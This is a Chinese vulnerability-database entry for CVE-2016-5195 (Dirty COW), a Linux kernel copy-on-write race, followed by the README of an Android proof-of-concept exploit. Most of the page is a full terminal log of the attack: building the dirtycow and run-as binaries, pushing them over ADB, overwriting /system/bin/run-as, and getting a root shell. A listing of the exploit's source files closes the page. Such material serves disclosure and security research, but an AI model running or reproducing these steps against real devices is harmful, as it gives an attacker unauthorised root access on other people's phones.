关联漏洞
标题：
Linux kernel 竞争条件问题漏洞
(CVE-2016-5195)
描述：Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 2.x至4.8.3之前的4.x版本中的mm/gup.c文件存在竞争条件问题漏洞，该漏洞源于程序没有正确处理copy-on-write(COW)功能写入只读内存映射。本地攻击者可利用该漏洞获取权限。
介绍
# CVE-2016-5195
CVE-2016-5195 (dirty cow/dirtycow/dirtyc0w) proof of concept for Android
This repository demonstrates the vulnerability on vulnerable Android devices attached via ADB.
It does not disable SELinux (see https://github.com/timwr/CVE-2016-5195/issues/9) or install superuser on the device.
```
$ make root
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory '/home/user/dev/git/exploits/CVE-2016-5195'
[arm64-v8a] Install : dirtycow => libs/arm64-v8a/dirtycow
[arm64-v8a] Install : run-as => libs/arm64-v8a/run-as
[x86_64] Install : dirtycow => libs/x86_64/dirtycow
[x86_64] Install : run-as => libs/x86_64/run-as
[mips64] Install : dirtycow => libs/mips64/dirtycow
[mips64] Install : run-as => libs/mips64/run-as
[armeabi-v7a] Install : dirtycow => libs/armeabi-v7a/dirtycow
[armeabi-v7a] Install : run-as => libs/armeabi-v7a/run-as
[armeabi] Install : dirtycow => libs/armeabi/dirtycow
[armeabi] Install : run-as => libs/armeabi/run-as
[x86] Install : dirtycow => libs/x86/dirtycow
[x86] Install : run-as => libs/x86/run-as
[mips] Install : dirtycow => libs/mips/dirtycow
[mips] Install : run-as => libs/mips/run-as
make[1]: Leaving directory '/home/user/dev/git/exploits/CVE-2016-5195'
adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow
[100%] /data/local/tmp/dcow
adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as
[100%] /data/local/tmp/run-as
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (5544) and destination file size (17944) differ
[*] size 5544
[*] mmap 0xb536b000
[*] currently 0xb536b000=464c457f
[*] madvise = 0xb536b000 5544
[*] madvise = 0 0
[*] /proc/self/mem 5544 1
[*] exploited 0xb536b000=464c457f
adb shell /system/bin/run-as
uid /system/bin/run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r:shell:s0
/system/bin/sh: can't find tty fd: No such device or address
/system/bin/sh: warning: won't have full job control
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
shamu:/ #
```
文件快照
[4.0K] /data/pocs/80ae0dd1104ffe2b8773b4f3af1febeb35fe6096
├── [ 360] Android.mk
├── [ 735] dcow.c
├── [8.2K] dirtycow.c
├── [2.2K] Makefile
├── [2.3K] README.md
├── [1.7K] run-as.c
└── [ 367] test.sh
0 directories, 7 files
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